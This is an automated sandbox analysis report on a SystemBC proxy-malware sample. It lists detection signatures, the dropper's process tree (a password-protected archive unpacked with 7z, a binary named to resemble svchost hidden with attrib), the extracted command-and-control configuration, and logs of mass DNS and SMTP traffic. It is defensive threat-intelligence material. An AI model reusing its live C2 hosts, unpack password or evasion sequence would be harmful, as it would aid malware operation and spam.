Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1443997
MD5:	ca3b49582edf9cab4714a35647907f3e
SHA1:	e9b265e85b333051d7014a7352747d09634a9fe6
SHA256:	05f41f450584e2f2a99ffe86ec699b2f1569b1080ffa801ca8b4adf3b6d1c832
Tags:	exe
Infos:

Detection

SystemBC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Yara detected SystemBC

C2 URLs / IPs found in malware configuration

Contains functionality to register a low level keyboard hook

Drops password protected ZIP file

Found evasive API chain (may stop execution after checking mutex)

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Machine Learning detection for dropped file

Send many emails (e-Mail Spam)

Tries to detect virtualization through RDTSC time measurements

Tries to resolve many domain names, but no domain seems valid

AV process strings found (often used to terminate AV products)

Connects to many different domains

Connects to several IPs in different countries

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables security privileges

Executes massive DNS lookups (> 100)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after checking a module file name)

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Outbound SMTP Connections

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses SMTP (mail sending)

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 2256 cmdline: "C:\Users\user\Desktop\file.exe" MD5: CA3B49582EDF9CAB4714A35647907F3E)

cmd.exe (PID: 3548 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6824 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mode.com (PID: 7012 cmdline: mode 65,10 MD5: BEA7464830980BF7C0490307DB4FC875)

7z.exe (PID: 2140 cmdline: 7z.exe e file.zip -p11126109881796147432108526241 -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 6992 cmdline: 7z.exe e extracted/file_3.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 6968 cmdline: 7z.exe e extracted/file_2.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 4588 cmdline: 7z.exe e extracted/file_1.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

attrib.exe (PID: 6820 cmdline: attrib +H "svchsot.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

svchsot.exe (PID: 6592 cmdline: "svchsot.exe" MD5: 4F01C3D7439DDE153FF0110A26E2A71C)

psdirwa.exe (PID: 4296 cmdline: C:\ProgramData\iihfve\psdirwa.exe start2 MD5: 4F01C3D7439DDE153FF0110A26E2A71C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
SystemBC	SystemBC is a proxy malware leveraging SOCKS5. Based on screenshots used in ads on a underground marketplace, Proofpoint decided to call it SystemBC.SystemBC has been observed occasionally, but more pronounced since June 2019. First samples goes back to October 2018.	No Attribution	https://asec.ahnlab.com/en/33600/ https://blog.reversinglabs.com/blog/code-reuse-across-packers-and-dll-loaders https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.vmware.com/security/2023/06/8base-ransomware-a-heavy-hitting-player.html https://community.riskiq.com/article/47766fbd	https://malpedia.caad.fkie.fraunhofer.de/details/win.systembc

Malware Configuration

Threatname: SystemBC

{"HOST1": "cobusabobus.cam", "HOST2": "cobusabobus.cam", "PORT1": "4001", "DNS1": "5.132.191.104", "DNS2": "ns1.vic.au.dns.opennic.glue", "DNS3": "ns2.vic.au.dns.opennic.glue"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\ProgramData\iihfve\psdirwa.exe	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
C:\Users\user\AppData\Local\Temp\main\extracted\svchsot.exe	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000009.00000000.1694750590.0000000000401000.00000020.00000001.01000000.00000007.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
0000000A.00000000.1702387442.0000000000401000.00000020.00000001.01000000.0000000B.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
00000009.00000002.1700322887.0000000000401000.00000020.00000001.01000000.00000007.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
00000007.00000003.1693065838.00000241422A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
00000009.00000002.1700643243.0000000000642000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
0000000A.00000002.2904281557.0000000000401000.00000020.00000001.01000000.0000000B.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
Process Memory Space: 7z.exe PID: 4588	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
Process Memory Space: svchsot.exe PID: 6592	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
Process Memory Space: psdirwa.exe PID: 4296	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author
9.0.svchsot.exe.400000.0.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
7.3.7z.exe.241422a0000.0.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
10.2.psdirwa.exe.400000.0.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
7.3.7z.exe.241422a0000.0.raw.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
9.2.svchsot.exe.400000.0.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
10.0.psdirwa.exe.400000.0.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 194.153.145.104, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\ProgramData\iihfve\psdirwa.exe, Initiated: true, ProcessId: 4296, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49742

Snort Signatures

ET TROJAN Win32/SystemBC CnC Checkin - Source IP: 192.168.2.4 - Destination IP: 212.162.153.199

Timestamp:	05/19/24-17:26:01.736910
SID:	2031599
Source Port:	49734
Destination Port:	4001
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: cobusabobus.cam

Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000007.00000003.1693065838.00000241422A0000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: SystemBC {"HOST1": "cobusabobus.cam", "HOST2": "cobusabobus.cam", "PORT1": "4001", "DNS1": "5.132.191.104", "DNS2": "ns1.vic.au.dns.opennic.glue", "DNS3": "ns2.vic.au.dns.opennic.glue"}

Multi AV Scanner detection for domain / URL

Source: cobusabobus.cam

Virustotal: Detection: 5%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\iihfve\psdirwa.exe	ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Local\Temp\main\extracted\svchsot.exe	ReversingLabs: Detection: 86%

Machine Learning detection for dropped file

Source: C:\ProgramData\iihfve\psdirwa.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\main\extracted\svchsot.exe	Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe	Code function: 9_2_004022F3 VirtualAlloc,DecryptMessage,		9_2_004022F3
Source: C:\Users\user\AppData\Local\Temp\main\svchsot.exe	Code function: 9_2_004021BE QueryContextAttributesA,VirtualAlloc,EncryptMessage,		9_2_004021BE

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040367D GetFileAttributesW,SetLastError,FindFirstFileW,FindClose,CompareFileTime,	0_2_0040367D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004031DC FindFirstFileW,SetFileAttributesW,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetFileAttributesW,RemoveDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,	0_2_004031DC
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 4_2_00C47978 FindFirstFileW,FindFirstFileW,free,	4_2_00C47978

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Code function: 4_2_00C4881C free,free,GetLogicalDriveStringsW,GetLogicalDriveStringsW,free,free,free,

4_2_00C4881C

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\extracted	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2031599 ET TROJAN Win32/SystemBC CnC Checkin 192.168.2.4:49734 -> 212.162.153.199:4001

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: cobusabobus.cam
Source: Malware configuration extractor	URLs: cobusabobus.cam

Tries to resolve many domain names, but no domain seems valid

Source: unknown	DNS traffic detected: query: out.rloy.bb4u.ne.jp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.hsdp.gov.co replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.luismsantos.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.paradoxismical.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.czjuning.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.tokachi-menkoubou.co.jp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.xilfee.eu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.homecooking.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.gilgenmann.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.cookcs.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.excite.co.jp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.stupiezz.it replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.billigedele.dk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.gsr-technology.it replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.tim-conseil.fr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.564269.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.harborwc.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.ccmedia.fr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.avenirtc.fr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.gregorgergen.de replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.dr-gehring.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.st.tcedu.tw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.kk-class.co.jp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.jcapshaw.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.alpi-med.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.optum.com.dev replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: adultbizevents.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.ka-hjemmesider.dk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.fteechal.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.cjini.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.jodehv.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.miraclestone.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.superbockgroup.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.gadsag.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.aigpol.be replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.academy.vipcapitalfx.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.wxyz.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.lbsenter.no replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.soulether.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.cynergiegroup.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.cineyug.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.conestogac.on.ca replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.bindifencing.com.au replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.garnb.cn replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.annexio.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vzikmooepj.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.wyndhamtrading.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.ceresiosim.it replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.weldre4.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.curfewfiresafety.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.escolamodernadeidiomas.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.dn.tui.ua replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.fevacszfg.fr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.ktfds.co.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.hwht.co.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vheaved.fr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.catsmeowgroomingspa.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.dpa-nc.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.grigon.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.uk.vwr.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.soulether.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: eizoks.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.afghan24.de replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.coelhosom.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.gnikuln.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.urban-excellence.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.jodehv.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.memoryjoggingpuzzles.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: smtp.mv-hallstadt.de replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.nantherm.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.prifoods.jp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.blvddeli.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.ecotener.fr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.vieiracessorios.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.lsbolsas.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.jrvps.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.mikeandcheryl.ca replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.segpllc.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.jci.net replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: out.montezemolo.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.sael.co.uk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.winkworthconsulting.co.uk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.xxjouhxiwrft.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.discente.ufg.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.riepcanada.ca replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.mesnet.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.studentnbed.nb.ca replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.ktf.biglobene.jp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.govi1.191.it replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.migoz.it replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.romig.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.kolumbus.fi replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 2008easyweb5.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.toolbarie.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.nakazdlihealth.ca replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.physio.ca replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.iasu.co.jp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.commeuneevidence.be replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.syxx.cn replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.7989501.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.osbt.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: afghan24.de replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.thebusiness6.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.envirovac.co.uk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.enterprisemarketing.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.lexie.jp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.ludwig-schnur.de replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.exsite.ie replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.rmzvqp.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.casonadelcentro.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.guidewiregroup.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.rsodre.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: brtph7ee.bnr.ca replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.cchellenic.co replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: secure.iqasllc.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: king-se.mx2.staysecuregroup.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.iokugoi.fr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: brtph8a0.bnr.ca replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.alcazar.com.my replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.fixingwindows8.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.trinipulse.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.sinoexpro.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.julianvidal.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.gang.bielawa.pl replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.childcarequeensland.com.au replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.mail2000.com.tw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.oratorica.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.floodcontrol.co.uk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.mitsubishimm.cn replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.ycc.org.tw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.marcusmetz.de replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.alunoavemaria.g12.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.vdm.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.sanitas.com.ar replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: flitepath.com.au replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.alexlee-music.co.uk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.votredemeure.fr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pbxxcv.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.memorialpecasford.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.xxjouhxiwrft.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: colpax.sk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.artenativadancas.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.clubinternet.fr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.marical.fr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.lexisricerche.it replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.illustratoren.de replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.robnicholson.me.uk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.turkler.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.rodriguezortega.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.gozcosmeticos.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.yangjing.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.nerdheaven.dk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.hamdmadetour.jp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.sheafwebdesign.co.uk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.farolapoiomaritimo.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.protocallmcs.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.gbsmarketing.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.myparadox.co.uk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.transwaggon.fr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.unitel.es replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.swindon-academy.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.cooperagroup.es replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.tabako.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.stilnovoserramentieporte.it replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.kevinhamstra.nl replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.cyrill-etter.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.viebo.co.uk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.alissonlima.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.alcatel-lucent.se replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.rice.cn.ne.jp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.alstec.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.ba.daiichisankyo.co.jp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.univesco.co.uk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.aechac.com.mx replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.riri.com replaycode: Name error (3)

Source: unknown

Network traffic detected: DNS query count 419

Source: unknown

Network traffic detected: IP country count 26

Source: global traffic	TCP traffic: 192.168.2.4:49734 -> 212.162.153.199:4001
Source: global traffic	TCP traffic: 192.168.2.4:49742 -> 194.153.145.104:587
Source: global traffic	TCP traffic: 192.168.2.4:49744 -> 193.81.82.81:587
Source: global traffic	TCP traffic: 192.168.2.4:49745 -> 104.18.2.81:587
Source: global traffic	TCP traffic: 192.168.2.4:49746 -> 188.114.96.3:587
Source: global traffic	TCP traffic: 192.168.2.4:49748 -> 104.22.65.144:587
Source: global traffic	TCP traffic: 192.168.2.4:49749 -> 129.159.94.43:587
Source: global traffic	TCP traffic: 192.168.2.4:49751 -> 199.85.66.2:587
Source: global traffic	TCP traffic: 192.168.2.4:49752 -> 168.0.132.203:587
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 81.7.169.213:587
Source: global traffic	TCP traffic: 192.168.2.4:49754 -> 52.223.4.149:587
Source: global traffic	TCP traffic: 192.168.2.4:49756 -> 120.50.131.112:587
Source: global traffic	TCP traffic: 192.168.2.4:49757 -> 213.250.19.150:587
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 213.209.1.145:587
Source: global traffic	TCP traffic: 192.168.2.4:49760 -> 194.158.122.55:587
Source: global traffic	TCP traffic: 192.168.2.4:49761 -> 204.11.56.50:587
Source: global traffic	TCP traffic: 192.168.2.4:49762 -> 13.248.169.48:587
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 213.153.32.148:587
Source: global traffic	TCP traffic: 192.168.2.4:49764 -> 64.136.52.44:587
Source: global traffic	TCP traffic: 192.168.2.4:49766 -> 68.178.252.117:587
Source: global traffic	TCP traffic: 192.168.2.4:49767 -> 62.149.128.200:587
Source: global traffic	TCP traffic: 192.168.2.4:49771 -> 72.52.178.23:587
Source: global traffic	TCP traffic: 192.168.2.4:49772 -> 209.67.129.55:587
Source: global traffic	TCP traffic: 192.168.2.4:49775 -> 193.201.172.98:587
Source: global traffic	TCP traffic: 192.168.2.4:49776 -> 182.48.49.234:587
Source: global traffic	TCP traffic: 192.168.2.4:49777 -> 194.126.4.84:587
Source: global traffic	TCP traffic: 192.168.2.4:49778 -> 142.93.237.125:587
Source: global traffic	TCP traffic: 192.168.2.4:49780 -> 3.64.163.50:587
Source: global traffic	TCP traffic: 192.168.2.4:49783 -> 129.213.13.252:587
Source: global traffic	TCP traffic: 192.168.2.4:49784 -> 175.126.123.219:587
Source: global traffic	TCP traffic: 192.168.2.4:49787 -> 193.122.179.25:587
Source: global traffic	TCP traffic: 192.168.2.4:49788 -> 62.24.202.42:587
Source: global traffic	TCP traffic: 192.168.2.4:49790 -> 40.85.218.2:587
Source: global traffic	TCP traffic: 192.168.2.4:49791 -> 63.135.90.169:587
Source: global traffic	TCP traffic: 192.168.2.4:49792 -> 52.223.34.187:587
Source: global traffic	TCP traffic: 192.168.2.4:49793 -> 52.63.237.70:587
Source: global traffic	TCP traffic: 192.168.2.4:49796 -> 104.21.37.242:587
Source: global traffic	TCP traffic: 192.168.2.4:49797 -> 64.59.136.142:587
Source: global traffic	TCP traffic: 192.168.2.4:49798 -> 194.76.232.141:587
Source: global traffic	TCP traffic: 192.168.2.4:49802 -> 198.164.44.72:587
Source: global traffic	TCP traffic: 192.168.2.4:49804 -> 80.91.55.62:587
Source: global traffic	TCP traffic: 192.168.2.4:49806 -> 91.209.104.155:587
Source: global traffic	TCP traffic: 192.168.2.4:49807 -> 194.19.134.66:587
Source: global traffic	TCP traffic: 192.168.2.4:49809 -> 62.116.169.204:587
Source: global traffic	TCP traffic: 192.168.2.4:49811 -> 72.18.132.28:587
Source: global traffic	TCP traffic: 192.168.2.4:49812 -> 193.70.18.144:587
Source: global traffic	TCP traffic: 192.168.2.4:49813 -> 117.50.20.113:587
Source: global traffic	TCP traffic: 192.168.2.4:49817 -> 195.130.132.10:587
Source: global traffic	TCP traffic: 192.168.2.4:49819 -> 91.136.8.56:587
Source: global traffic	TCP traffic: 192.168.2.4:49821 -> 13.248.158.7:587
Source: global traffic	TCP traffic: 192.168.2.4:49822 -> 162.214.54.15:587
Source: global traffic	TCP traffic: 192.168.2.4:49823 -> 202.124.241.204:587
Source: global traffic	TCP traffic: 192.168.2.4:49826 -> 209.71.208.9:587
Source: global traffic	TCP traffic: 192.168.2.4:49828 -> 46.255.231.70:587
Source: global traffic	TCP traffic: 192.168.2.4:49829 -> 103.11.85.79:587
